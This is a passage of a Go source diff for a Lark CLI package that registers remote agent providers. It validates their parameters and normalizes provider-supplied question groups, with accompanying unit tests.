+	Identities     []IdentitySpec // non-empty; Type ∈ {user,bot}
+
+	// Exactly one of these is set:
+	Catalog  []AgentSpec // finite, offline-enumerable set (kind = catalog)
+	Instance *AgentSpec  // single template for any runtime agent_id (kind = instance)
+
+	// ListAgents is the optional ONLINE enumeration hook — only meaningful for an
+	// instance provider whose platform has a "list my agents" endpoint. Wired ⇒
+	// `agents list <scheme>` enumerates via this call. A catalog provider leaves it
+	// nil (enumeration is derived offline from Catalog); an instance platform with
+	// only get-by-id and no list endpoint also leaves it nil (not enumerable).
+	// This is independent of AgentSpec.Describe: ListAgents = "which agents exist"
+	// (a list endpoint), Describe = "what one agent looks like" (get-by-id). It is
+	// paginated: the framework passes the requested cursor/size as PageParams and
+	// surfaces the returned PageInfo as meta.has_more / meta.page_token plus a
+	// next-page command.
+	ListAgents func(ctx context.Context, rt Runtime, page PageParams) ([]AgentSummary, PageInfo, error)
+
+	// ListParams declares the business parameters of `agents list <scheme>` itself
+	// (list is a provider-level discovery operation, so its parameters live here,
+	// not on any single agent's spec). Discovered via `agents list` (no scheme)
+	// output's providers[].list_parameters. Register panics when ListParams is
+	// declared without a ListAgents hook.
+	ListParams []CardParam
+}
+
+// AgentSpec is the declarative unit for one agent: card metadata plus the
+// operations it implements. Each operation is an Op unit binding the business
+// parameters it accepts to the handler that serves it — parameters physically
+// cannot be declared on an unimplemented operation. Capability is derived from
+// which handlers are wired ("implement it = support it", see
+// DeriveCapabilities), so the card and the behavior are single-sourced and
+// cannot drift.
+//
+//   - Catalog: each predefined agent is its own AgentSpec with its own wired
+//     operations — two agents honestly differ in capability with zero bool
+//     matrix and zero per-id branching.
+//   - Instance: ONE template applied to every runtime agent_id; handlers read
+//     rt.AgentID() to know which agent they serve.
+type AgentSpec struct {
+	ID string // catalog: required + unique; instance: MUST be empty
+
+	// Brands scopes the WHOLE agent to a subset of brands (feishu/lark): empty
+	// means visible/usable under every brand. It is declared at registration
+	// (brand-agnostic) and filtered/gated at command time against the resolved
+	// brand — catalog list visibility and every verb's brand gate consult
+	// SpecAvailableForBrand. Register validates every value is feishu|lark.
+	Brands []core.LarkBrand
+
+	// Per-agent card metadata (static, read offline).
+	Name        string
+	Description string
+	Skills      []CardSkill
+
+	// Behavioral flags with no backing operation (the only capability bits not
+	// derived from a handler).
+	FileInput     bool
+	InputRequired bool
+
+	// Core operations (Register asserts both handlers non-nil for every spec).
+	Send    SendOp
+	GetTask TaskGetOp
+
+	// Optional operations (zero-value Op = unsupported; the command layer gates
+	// on the unwired handler and returns a unified unsupported_capability before
+	// any network call, and derives the card matrix from which are wired).
+	ListTasks        TaskListOp
+	CancelTask       TaskCancelOp
+	ListContexts     ContextListOp
+	GetContext       ContextGetOp
+	DeleteContext    ContextDeleteOp
+	DownloadArtifact ArtifactDownloadOp
+
+	// Describe optionally supplies per-agent Card metadata (Name/Description/
+	// Skills) and is the place to validate an unknown agent_id (return a typed
+	// error). It is invoked ONLY when a runtime is available (configured), so
+	// offline the card is always caps + registration metadata + the static
+	// fields above. It is card enrichment, not an operation, so it stays a plain
+	// func. A catalog spec typically leaves it nil and uses the static
+	// Name/Description; an instance provider wires it to fetch its card remotely.
+	Describe func(ctx context.Context, rt Runtime) (*CardInfo, error)
+}

internal/agents/questions.go

@@ -0,0 +1,259 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"fmt"
+	"regexp"
+	"strings"
+)
+
+// KeyCharsetRE is the single source of the machine-key charset (question_id /
+// option_id / task_id / context_id): first character alphanumeric — which
+// rejects flag-lookalike ids such as "--text" or "-o" before they can reach a
+// command line — then [A-Za-z0-9_-]. Every enforcement point (this package's
+// KeyPattern, the command layer's --answer key grammar and meta.next
+// interpolation whitelist) MUST build its regexp from this constant, or a key
+// accepted at one layer becomes a dead end at another.
+const KeyCharsetRE = `[A-Za-z0-9][A-Za-z0-9_-]*`
+
+// KeyPattern is KeyCharsetRE anchored — the whole-string machine-key check.
+var KeyPattern = regexp.MustCompile(`^` + KeyCharsetRE + `$`)
+
+// AnswerTextSuffix is the --answer key suffix marking a free-text entry:
+// "<qid>.text". Exactly one suffix, case-sensitive; the '.' is outside
+// KeyPattern's charset, so the split is never ambiguous.
+const AnswerTextSuffix = ".text"
+
+// SplitAnswerKey splits an --answer key into its question id and whether it is
+// the free-text form: "q1.text" → ("q1", true), "q1" → ("q1", false). It does
+// NOT validate the charset — callers check KeyPattern on the returned qid.
+func SplitAnswerKey(key string) (qid string, isText bool) {
+	if q, ok := strings.CutSuffix(key, AnswerTextSuffix); ok {
+		return q, true
+	}
+	return key, false
+}
+
+// MintQuestionIDs fills conforming machine keys into a question group at
+// GROUP-CREATION time (before the group is persisted — render-time minting is
+// non-conforming: a stateless CLI would mint different ids per read and the
+// answer could never be routed back). Questions lacking a QuestionID get
+// "q<pos>_<suffix>"; options lacking an OptionID get "opt<pos>" (option ids
+// only need uniqueness within their question — staleness protection rides the
+// question ids). suffix MUST differ between a task's successive groups
+// (monotonic per-task counter, or DeriveGroupSuffix over a per-group anchor):
+// that cross-group uniqueness is what makes a stale retry hit unknown_question
+// instead of silently answering the next group.
+func MintQuestionIDs(qs []Question, suffix string) {
+	seen := make(map[string]bool, len(qs))
+	for i := range qs {
+		if qs[i].QuestionID != "" {
+			seen[qs[i].QuestionID] = true
+		}
+	}
+	for i := range qs {
+		if qs[i].QuestionID == "" {
+			// A minted id must never collide with a provider-supplied one in the
+			// same group (a duplicate would degrade the whole group at
+			// normalization, §3.2) — extend the suffix until free.
+			id := fmt.Sprintf("q%d_%s", i+1, suffix)
+			for seen[id] {
+				id += "x"
+			}
+			qs[i].QuestionID = id
+			seen[id] = true
+		}
+		seenOpt := make(map[string]bool, len(qs[i].Options))
+		for j := range qs[i].Options {
+			if qs[i].Options[j].OptionID != "" {
+				seenOpt[qs[i].Options[j].OptionID] = true
+			}
+		}
+		for j := range qs[i].Options {
+			if qs[i].Options[j].OptionID == "" {
+				id := fmt.Sprintf("opt%d", j+1)
+				for seenOpt[id] {
+					id += "x"
+				}
+				qs[i].Options[j].OptionID = id
+				seenOpt[id] = true
+			}
+		}
+	}
+}
+
+// DeriveGroupSuffix derives a deterministic short group suffix from a stable
+// per-group anchor — e.g. the A2A TaskStatus timestamp (updated_at): the same
+// group re-derives the same suffix in any process (a persistence-less
+// pass-through adapter can validate an incoming answer key by re-derivation),
+// and a successor group's changed anchor derives a different one (staleness).
+// CAVEAT for adapters: second-resolution timestamps can repeat across two
+// rapid-fire groups — an adapter whose anchor did NOT change between groups
+// MUST treat the situation as key-indistinguishable and reject stale-ambiguous
+// answers itself; the suffix cannot tell the groups apart for it.
+func DeriveGroupSuffix(anchor string) string {
+	sum := sha256.Sum256([]byte(anchor))
+	return hex.EncodeToString(sum[:])[:6]
+}
+
+// groupAnchor picks the stable per-group anchor for a task's pending group:
+// updated_at (set on every status change, A2A TaskStatus.timestamp) with the
+// task id as last resort.
+func groupAnchor(t *AgentTask) string {
+	if t.UpdatedAt != "" {
+		return t.UpdatedAt
+	}
+	return t.TaskID
+}
+
+// NormalizeInputRequired applies the design doc §3.2 rules to a
+// provider-supplied task projection, centrally, so every read path (send
+// result, task get, watch) sees one canonical shape and no provider ships its
+// own interpretation. Rules:
+//
+//   - state ≠ input_required carrying a group → the group is dropped (a paused
+//     group is only meaningful while the task waits).
+//   - options: [] → normalized to absent (a zero-option choice question is not
+//     a distinct type — it is a free-text question).
+//   - questions empty/absent but the group carries prompt text
+//     (Label/Description) → the bare A2A shape: the text becomes one ordinary
+//     free-text question with a deterministically derived id. No special
+//     "unstructured" answer channel exists.
+//   - questions empty and no text at all → the group is dropped (nothing to
+//     ask), with a notice.
+//   - any key (question_id/option_id) violating KeyPattern, or duplicate
+//     question ids in the group / option ids in a question → the whole group
+//     DEGRADES to one free-text question preserving the question texts, with a
+//     notice naming the provider defect — never a placeholder key the CLI's own
+//     guard would reject.
+//
+// The returned notice is "" when nothing noteworthy happened; a non-empty
+// notice is surfaced to the caller (envelope _notice) so provider defects are
+// observable instead of silently smoothed over.
+func NormalizeInputRequired(t *AgentTask) (notice string) {
+	if t == nil || t.InputRequired == nil {
+		return ""
+	}
+	if t.State != StateInputRequired {
+		t.InputRequired = nil
+		return ""
+	}
+	ir := t.InputRequired
+
+	// Size caps (§11 central bounds): a hostile or buggy provider must not be
+	// able to flood the JSON surface, the per-question meta.next expansion, or
+	// the terminal through an unbounded group.
+	var truncated bool
+	if len(ir.Questions) > maxGroupQuestions {
+		ir.Questions = ir.Questions[:maxGroupQuestions]
+		truncated = true
+	}
+	ir.Label = capRunes(ir.Label, maxGroupTextRunes)
+	ir.Description = capRunes(ir.Description, maxGroupTextRunes)
+	for i := range ir.Questions {
+		q := &ir.Questions[i]
+		if len(q.Options) > maxQuestionOptions {
+			q.Options = q.Options[:maxQuestionOptions]
+			truncated = true
+		}
+		// options: [] → absent; multi_select is meaningless without options.
+		if len(q.Options) == 0 {
+			q.Options = nil
+			q.MultiSelect = false
+		}
+		q.Question = capRunes(q.Question, maxGroupTextRunes)
+		for j := range q.Options {
+			q.Options[j].Label = capRunes(q.Options[j].Label, maxGroupTextRunes)
+			q.Options[j].Description = capRunes(q.Options[j].Description, maxGroupTextRunes)
+		}
+	}
+	if truncated {
+		notice = "provider 问题组超出规模上限，已截断；"
+	}
+
+	if len(ir.Questions) == 0 {
+		text := ir.Label
+		if text == "" {
+			text = ir.Description
+		}
+		if text == "" {
+			t.InputRequired = nil
+			return notice + "provider 返回了空问题组，已忽略"
+		}
+		ir.Questions = []Question{{
+			QuestionID: "q1_" + DeriveGroupSuffix(groupAnchor(t)),
+			Question:   text,
+		}}
+		return notice
+	}
+
+	if defect := groupKeyDefect(ir.Questions); defect != "" {
+		var texts []string
+		for _, q := range ir.Questions {
+			if q.Question != "" {
+				texts = append(texts, q.Question)
+			}
+		}
+		text := capRunes(strings.Join(texts, "；"), maxGroupTextRunes)
+		if text == "" {
+			text = ir.Label
+		}
+		ir.Questions = []Question{{
+			QuestionID: "q1_" + DeriveGroupSuffix(groupAnchor(t)),
+			Question:   text,
+		}}
+		return notice + "provider 问题键不合规（" + defect + "），该组已降级为自由文本作答"
+	}
+	return notice
+}
+
+// Central size bounds for a question group (§11): generous multiples of the
+// §6.9 SHOULD (groups of 4-5), hard enough to stop output flooding.
+const (
+	maxGroupQuestions  = 32
+	maxQuestionOptions = 64
+	maxGroupTextRunes  = 2000
+	maxKeyRunes        = 64
+)
+
+// capRunes rune-truncates display text to max (no ellipsis — the bound is a
+// safety cap, not a formatting rule; pretty rendering truncates again anyway).
+func capRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max])
+}
+
+// groupKeyDefect reports the first key-discipline violation in a question
+// group ("" when clean): a question_id/option_id failing KeyPattern, a
+// duplicate question_id within the group, or a duplicate option_id within a
+// question.
+func groupKeyDefect(qs []Question) string {
+	seenQ := make(map[string]bool, len(qs))
+	for _, q := range qs {
+		if !KeyPattern.MatchString(q.QuestionID) || len(q.QuestionID) > maxKeyRunes {
+			return fmt.Sprintf("question_id %q 非法", capRunes(q.QuestionID, 40))
+		}
+		if seenQ[q.QuestionID] {
+			return fmt.Sprintf("question_id %q 重复", q.QuestionID)
+		}
+		seenQ[q.QuestionID] = true
+		seenO := make(map[string]bool, len(q.Options))
+		for _, o := range q.Options {
+			if !KeyPattern.MatchString(o.OptionID) || len(o.OptionID) > maxKeyRunes {
+				return fmt.Sprintf("option_id %q 非法", capRunes(o.OptionID, 40))
+			}
+			if seenO[o.OptionID] {
+				return fmt.Sprintf("option_id %q 重复", o.OptionID)
+			}
+			seenO[o.OptionID] = true
+		}
+	}
+	return ""
+}

internal/agents/questions_test.go

@@ -0,0 +1,162 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"strings"
+	"testing"
+)
+
+// TestKeyPattern pins the shared key charset: first char alphanumeric (rejects
+// flag-lookalike ids), then [A-Za-z0-9_-]; '.' is never part of a key.
+func TestKeyPattern(t *testing.T) {
+	ok := []string{"q1", "q1_a8", "by_region", "Opt-2", "8ball"}
+	for _, k := range ok {
+		if !KeyPattern.MatchString(k) {
+			t.Errorf("KeyPattern should accept %q", k)
+		}
+	}
+	bad := []string{"", "--text", "-o", "_x", "q.1", "q 1", "维度", "q1.text"}
+	for _, k := range bad {
+		if KeyPattern.MatchString(k) {
+			t.Errorf("KeyPattern must reject %q", k)
+		}
+	}
+}
+
+func TestSplitAnswerKey(t *testing.T) {
+	if q, isText := SplitAnswerKey("q1_a8.text"); q != "q1_a8" || !isText {
+		t.Errorf("q1_a8.text → (%q,%v)", q, isText)
+	}
+	if q, isText := SplitAnswerKey("q1_a8"); q != "q1_a8" || isText {
+		t.Errorf("q1_a8 → (%q,%v)", q, isText)
+	}
+	// exactly one suffix strip: "q.text.text" leaves "q.text" (then fails KeyPattern).
+	if q, isText := SplitAnswerKey("q.text.text"); q != "q.text" || !isText {
+		t.Errorf("double suffix should strip once, got (%q,%v)", q, isText)
+	}
+	// case-sensitive: ".TEXT" is not the text form.
+	if _, isText := SplitAnswerKey("q1.TEXT"); isText {
+		t.Error(".TEXT must not count as the text form")
+	}
+}
+
+// TestMintQuestionIDs pins the minting shape (q<pos>_<suffix> / opt<pos>), that
+// provider-supplied ids are left alone, and that minted ids pass KeyPattern.
+func TestMintQuestionIDs(t *testing.T) {
+	qs := []Question{
+		{Question: "维度?", Options: []Option{{Label: "按大区"}, {OptionID: "keep", Label: "按品类"}}},
+		{QuestionID: "biz_q", Question: "时间?"},
+	}
+	MintQuestionIDs(qs, "a8")
+	if qs[0].QuestionID != "q1_a8" || qs[1].QuestionID != "biz_q" {
+		t.Errorf("minting should fill empties only: %q, %q", qs[0].QuestionID, qs[1].QuestionID)
+	}
+	if qs[0].Options[0].OptionID != "opt1" || qs[0].Options[1].OptionID != "keep" {
+		t.Errorf("option minting should fill empties only: %+v", qs[0].Options)
+	}
+	if !KeyPattern.MatchString(qs[0].QuestionID) || !KeyPattern.MatchString(qs[0].Options[0].OptionID) {
+		t.Error("minted ids must satisfy KeyPattern")
+	}
+}
+
+// TestDeriveGroupSuffix pins determinism (same anchor → same suffix, any
+// process) and anchor-sensitivity (new group's changed timestamp → different
+// suffix — the staleness guarantee for persistence-less adapters).
+func TestDeriveGroupSuffix(t *testing.T) {
+	a := DeriveGroupSuffix("2026-07-21T00:00:00Z")
+	if a != DeriveGroupSuffix("2026-07-21T00:00:00Z") {
+		t.Error("suffix must be deterministic")
+	}
+	if a == DeriveGroupSuffix("2026-07-21T00:00:01Z") {
+		t.Error("a changed anchor must change the suffix")
+	}
+	if len(a) != 6 || !KeyPattern.MatchString("q1_"+a) {
+		t.Errorf("suffix should be 6 chars and key-safe, got %q", a)
+	}
+}
+
+func normTask(state TaskState, ir *InputRequired) *AgentTask {
+	return &AgentTask{TaskID: "task_9", State: state, UpdatedAt: "2026-07-21T00:00:00Z", InputRequired: ir}
+}
+
+func TestNormalizeInputRequired(t *testing.T) {
+	// state ≠ input_required → group dropped silently.
+	tk := normTask(StateWorking, &InputRequired{Questions: []Question{{QuestionID: "q1", Question: "x"}}})
+	if n := NormalizeInputRequired(tk); n != "" || tk.InputRequired != nil {
+		t.Errorf("group on a non-paused task must be dropped silently, notice=%q ir=%v", n, tk.InputRequired)
+	}
+
+	// options: [] → absent (a zero-option question IS a free-text question).
+	tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{{QuestionID: "q1", Question: "x", Options: []Option{}}}})
+	if n := NormalizeInputRequired(tk); n != "" || tk.InputRequired.Questions[0].Options != nil {
+		t.Errorf("empty options must normalize to absent, notice=%q", n)
+	}
+
+	// bare A2A shape: no questions, prompt text in Label → one ordinary
+	// free-text question with a deterministic id.
+	tk = normTask(StateInputRequired, &InputRequired{Label: "请补充时间范围"})
+	if n := NormalizeInputRequired(tk); n != "" {
+		t.Errorf("bare-prompt normalization is not a defect, notice=%q", n)
+	}
+	qs := tk.InputRequired.Questions
+	if len(qs) != 1 || qs[0].Question != "请补充时间范围" || !strings.HasPrefix(qs[0].QuestionID, "q1_") {
+		t.Fatalf("bare prompt should become one text question, got %+v", qs)
+	}
+	derived := qs[0].QuestionID
+	tk2 := normTask(StateInputRequired, &InputRequired{Label: "请补充时间范围"})
+	_ = NormalizeInputRequired(tk2)
+	if tk2.InputRequired.Questions[0].QuestionID != derived {
+		t.Error("derived qid must be stable across renders (same anchor)")
+	}
+
+	// nothing at all → dropped with a notice.
+	tk = normTask(StateInputRequired, &InputRequired{})
+	if n := NormalizeInputRequired(tk); n == "" || tk.InputRequired != nil {
+		t.Errorf("empty group must drop with a notice, notice=%q ir=%v", n, tk.InputRequired)
+	}
+
+	// flag-lookalike question_id → whole group degrades to one free-text
+	// question (texts preserved), with a notice; the degraded key passes the
+	// CLI's own grammar (never a dead-end placeholder).
+	tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{
+		{QuestionID: "--text", Question: "维度?"},
+		{QuestionID: "q2", Question: "时间?"},
+	}})
+	n := NormalizeInputRequired(tk)
+	if n == "" || !strings.Contains(n, "不合规") {
+		t.Fatalf("illegal key must degrade with a notice, got %q", n)
+	}
+	qs = tk.InputRequired.Questions
+	if len(qs) != 1 || qs[0].Options != nil || !KeyPattern.MatchString(qs[0].QuestionID) {
+		t.Fatalf("degraded group should be one text question with a legal key, got %+v", qs)
+	}
+	if !strings.Contains(qs[0].Question, "维度?") || !strings.Contains(qs[0].Question, "时间?") {
+		t.Errorf("degradation must preserve question texts, got %q", qs[0].Question)
+	}
+
+	// duplicate option ids within one question → same degradation path.
+	tk = normTask(StateInputRequired, &InputRequired{Questions: []Question{
+		{QuestionID: "q1", Question: "维度?", Options: []Option{{OptionID: "a", Label: "A"}, {OptionID: "a", Label: "B"}}},
+	}})
+	if n := NormalizeInputRequired(tk); n == "" {
+		t.Error("duplicate option ids must degrade with a notice")
+	}
+}
+
+// TestSummaryText pins the §3.3 triage digest: label first, else first
+// question, question count suffixed when >1.
+func TestSummaryText(t *testing.T) {
+	ir := &InputRequired{Label: "报表生成确认", Questions: []Question{{Question: "维度?"}, {Question: "时间?"}}}
+	if s := ir.SummaryText(); s != "报表生成确认（共 2 题）" {
+		t.Errorf("got %q", s)
+	}
+	ir = &InputRequired{Questions: []Question{{Question: "维度?"}}}
+	if s := ir.SummaryText(); s != "维度?" {
+		t.Errorf("got %q", s)
+	}
+	if (*InputRequired)(nil).SummaryText() != "" {
+		t.Error("nil group → empty summary")
+	}
+}

internal/agents/ref.go

@@ -0,0 +1,29 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"errors"
+	"strings"
+)
+
+// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
+// validation error by the caller).
+var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
+
+// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
+type Ref struct {
+	Scheme  string
+	AgentID string
+}
+
+// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
+// (wrapped into a validation error by the caller).
+func ParseRef(s string) (Ref, error) {
+	parts := strings.SplitN(s, ":", 2)
+	if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
+		return Ref{}, ErrInvalidRef
+	}
+	return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
+}

internal/agents/ref_test.go

@@ -0,0 +1,24 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"errors"
+	"testing"
+)
+
+func TestParseRef(t *testing.T) {
+	r, err := ParseRef("example:agt_xxx")
+	if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
+		t.Fatalf("got %+v err=%v", r, err)
+	}
+}
+
+func TestParseRefErrors(t *testing.T) {
+	for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
+		if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
+			t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
+		}
+	}
+}

internal/agents/registry.go

@@ -0,0 +1,460 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"errors"
+	"fmt"
+	"math"
+	"regexp"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// ProviderKind is the closed set of provider forms, derived from whether a
+// Provider set Catalog or Instance (exposed via Provider.Kind()).
+type ProviderKind string
+
+const (
+	// KindCatalog: the full agent set is known offline (Provider.Catalog).
+	KindCatalog ProviderKind = "catalog"
+	// KindInstance: agents are created on the platform at runtime, addressed by an
+	// unbounded agent_id (Provider.Instance).
+	KindInstance ProviderKind = "instance"
+)
+
+var providerRegistry = map[string]Provider{}
+
+// Register records a provider (called from the agent/register.go aggregator,
+// mirroring events/shortcuts). It is pure struct validation — no construction,
+// no probe. Missing / invalid metadata is an integrator coding error and panics
+// fail-fast (aligned with the sql.Register convention, including duplicate
+// registration).
+func Register(p Provider) {
+	switch {
+	case p.Scheme == "":
+		panic("agent: provider registration with empty Scheme")
+	case p.Label == "":
+		panic("agent: provider missing Label: " + p.Scheme)
+	case p.AgentIDSource == "":
+		panic("agent: provider missing AgentIDSource: " + p.Scheme)
+	case len(p.Identities) == 0:
+		panic("agent: provider missing Identities: " + p.Scheme)
+	}
+	if _, dup := providerRegistry[p.Scheme]; dup {
+		panic("agent: Register called twice for scheme: " + p.Scheme)
+	}
+	for _, id := range p.Identities {
+		if id.Type != IdentityUser && id.Type != IdentityBot {
+			panic("agent: provider invalid Identity Type (want user|bot): " + p.Scheme + ", got: " + string(id.Type))
+		}
+	}
+	hasCatalog, hasInstance := len(p.Catalog) > 0, p.Instance != nil
+	if hasCatalog == hasInstance {
+		panic("agent: provider must set exactly one of Catalog / Instance: " + p.Scheme)
+	}
+	if hasCatalog {
+		seen := make(map[string]bool, len(p.Catalog))
+		for i := range p.Catalog {
+			checkSpec(p.Scheme, &p.Catalog[i], true)
+			if seen[p.Catalog[i].ID] {
+				panic("agent: catalog duplicate entry ID for scheme " + p.Scheme + ": " + p.Catalog[i].ID)
+			}
+			seen[p.Catalog[i].ID] = true
+		}
+	} else {
+		checkSpec(p.Scheme, p.Instance, false)
+	}
+	// ListParams declares the parameters of `agents list <scheme>` — meaningless
+	// without an online enumeration hook to consume them.
+	if len(p.ListParams) > 0 && p.ListAgents == nil {
+		panic("agent: provider declares ListParams without a ListAgents hook: " + p.Scheme)
+	}
+	checkParams(p.Scheme+": agents list", p.ListParams)
+	for i := range p.ListParams {
+		if p.ListParams[i].Type == "" {
+			p.ListParams[i].Type = "string"
+		}
+	}
+	providerRegistry[p.Scheme] = p
+}
+
+// checkSpec asserts the mandatory core operations, the ID rule, and every
+// operation's parameter declarations for one spec. The command layer
+// dispatches Send/GetTask without a nil-check, so they must be wired.
+func checkSpec(scheme string, s *AgentSpec, catalog bool) {
+	if !s.Send.wired() {
+		panic("agent: spec missing core Send handler: " + scheme + ":" + s.ID)
+	}
+	if !s.GetTask.wired() {
+		panic("agent: spec missing core GetTask handler: " + scheme + ":" + s.ID)
+	}
+	// An agent that can pause on a question group MUST also let the user walk
+	// away from it: with no TTL in the contract, question-asking without
+	// task_cancel leaves an abandoned group holding awaiting_input forever
+	// (design doc §6.8) — a registration-time coding error, not a runtime one.
+	// The check includes brand coverage: a CancelTask scoped narrower than the
+	// agent's own visibility recreates the dead end on the uncovered brand.
+	if s.InputRequired {
+		if !s.CancelTask.wired() {
+			panic("agent: spec declares InputRequired but wires no CancelTask (提问型 agent 必须可取消): " + scheme + ":" + s.ID)
+		}
+		if len(s.CancelTask.Brands) > 0 && !brandsCover(s.CancelTask.Brands, s.Brands) {
+			panic("agent: spec declares InputRequired but CancelTask is brand-scoped narrower than the agent (提问型 agent 的取消不得窄于其可见品牌): " + scheme + ":" + s.ID)
+		}
+	}
+	if catalog && s.ID == "" {
+		panic("agent: catalog spec missing ID: " + scheme)
+	}
+	if !catalog && s.ID != "" {
+		panic("agent: instance template must have empty ID: " + scheme + ", got: " + s.ID)
+	}
+	// Whole-agent brand scope: every declared value must be a known brand
+	// (mirrors the identity Type fail-fast). Empty ⇒ all brands.
+	for _, b := range s.Brands {
+		if !validBrand(b) {
+			panic("agent: spec invalid Brand (want feishu|lark): " + scheme + ":" + s.ID + ", got: " + string(b))
+		}
+	}
+	for _, o := range s.Ops() {
+		where := scheme + ":" + s.ID + " " + o.Verb
+		// Params physically live on the Op, so the only declared-without-handler
+		// mistake left is a non-empty Params next to a nil Handler.
+		if len(o.Params) > 0 && !o.Wired {
+			panic("agent: params declared on an unwired operation: " + where)
+		}
+		// A brand scope on an unimplemented op is a dead declaration — mirror the
+		// params discipline above.
+		if len(o.Brands) > 0 && !o.Wired {
+			panic("agent: brands declared on an unwired operation: " + where)
+		}
+		// Per-capability brand scope: same known-brand rule as the whole-agent set.
+		for _, b := range o.Brands {
+			if !validBrand(b) {
+				panic("agent: op invalid Brand (want feishu|lark): " + where + ", got: " + string(b))
+			}
+		}
+		checkParams(where, o.Params)
+	}
+	normalizeSpecParams(s)
+}
+
+// validBrand reports whether b is one of the two known brands (feishu|lark) —
+// the Register-time fail-fast guard for spec.Brands and each Op.Brands.
+func validBrand(b core.LarkBrand) bool {
+	return b == core.BrandFeishu || b == core.BrandLark
+}
+
+// brandsCover reports whether opBrands covers every brand the agent itself is
+// visible under (specBrands empty = all known brands). Used by the
+// InputRequired⇒CancelTask registration check.
+func brandsCover(opBrands, specBrands []core.LarkBrand) bool {
+	agentBrands := specBrands
+	if len(agentBrands) == 0 {
+		agentBrands = []core.LarkBrand{core.BrandFeishu, core.BrandLark}
+	}
+	for _, b := range agentBrands {
+		if !OpAvailableForBrand(opBrands, b) {
+			return false
+		}
+	}
+	return true
+}
+
+// SpecAvailableForBrand reports whether the WHOLE agent is visible/usable under
+// `brand`: an empty spec.Brands means every brand, otherwise `brand` must be
+// listed. It backs catalog list filtering and the command layer's whole-agent
+// brand gate. (Op-level scoping is OpAvailableForBrand.)
+func SpecAvailableForBrand(s *AgentSpec, brand core.LarkBrand) bool {
+	return OpAvailableForBrand(s.Brands, brand)
+}
+
+// paramNameRe is the parameter-name charset: a strict subset of the meta.next
+// interpolation whitelist ([A-Za-z0-9_-]), so a declared name is safe to
+// splice into a suggested command by construction, and snake→kebab mapping
+// stays bijective for a future native-flag projection.
+var paramNameRe = regexp.MustCompile(`^[a-z][a-z0-9_]{0,63}$`)
+
+// paramTypes is the closed Type vocabulary (empty normalizes to "string").
+// "object" is declaration-only: it carries Fields and no value constraints of
+// its own.
+var paramTypes = map[string]bool{"string": true, "integer": true, "number": true, "boolean": true, "object": true}
+
+// checkParams fail-fast validates one operation's parameter declarations
+// (where names the operation for the panic message). Object params recurse one
+// level into their Fields (scalar leaves only).
+func checkParams(where string, params []CardParam) {
+	checkParamsLevel(where, params, true)
+}
+
+func checkParamsLevel(where string, params []CardParam, allowObject bool) {
+	seen := make(map[string]bool, len(params))
+	for _, cp := range params {
+		at := where + " param " + cp.Name
+		if !paramNameRe.MatchString(cp.Name) {
+			panic("agent: param name must match ^[a-z][a-z0-9_]{0,63}$: " + at)
+		}
+		if seen[cp.Name] {
+			panic("agent: duplicate param name within one operation: " + at)
+		}
+		seen[cp.Name] = true
+
+		typ := cp.Type
+		if typ == "" {
+			typ = "string"
+		}
+		if typ == "object" {
+			if !allowObject {
+				panic("agent: nested object fields are not supported (flatten or wait for the schema slot): " + at)
+			}
+			if len(cp.Fields) == 0 {
+				panic("agent: object param must declare non-empty Fields: " + at)
+			}
+			// An object declares nothing but its Fields: requiredness/constraints
+			// live on the leaves, so a stray setting here is a coding error.
+			if cp.Required || len(cp.Enum) > 0 || cp.Default != "" || cp.Min != nil || cp.Max != nil {
+				panic("agent: object param must not set Required/Enum/Default/Min/Max (declare them on leaves): " + at)
+			}
+			checkParamsLevel(at, cp.Fields, false)
+			continue
+		}
+		if len(cp.Fields) > 0 {
+			panic("agent: Fields is only valid on Type \"object\": " + at)
+		}
+		if !paramTypes[typ] {
+			panic("agent: param Type must be one of string|integer|number|boolean: " + at + ", got: " + cp.Type)
+		}
+		if len(cp.Enum) > 0 {
+			if typ != "string" && typ != "integer" {
+				panic("agent: Enum is only valid on string|integer params: " + at)
+			}
+			if cp.Min != nil || cp.Max != nil {
+				panic("agent: Enum and Min/Max are mutually exclusive: " + at)
+			}
+			ev := make(map[string]bool, len(cp.Enum))
+			for _, e := range cp.Enum {
+				if e == "" {
+					panic("agent: Enum member must be non-empty: " + at)
+				}
+				if ev[e] {
+					panic("agent: duplicate Enum member: " + at + ", member: " + e)
+				}
+				ev[e] = true
+				if typ == "integer" {
+					if _, err := strconv.ParseInt(e, 10, 64); err != nil {
+						panic("agent: integer Enum member must parse as integer: " + at + ", member: " + e)
+					}
+				}
+			}
+		}
+		if cp.Min != nil || cp.Max != nil {
+			if typ != "integer" && typ != "number" {
+				panic("agent: Min/Max are only valid on integer|number params: " + at)
+			}
+			if cp.Min != nil && cp.Max != nil && *cp.Min > *cp.Max {
+				panic("agent: Min must be <= Max: " + at)
+			}
+		}
+		if cp.Default != "" {
+			if cp.Required {
+				panic("agent: Default and Required are mutually exclusive: " + at)
+			}
+			if err := ValidateValue(cp, cp.Default); err != nil {
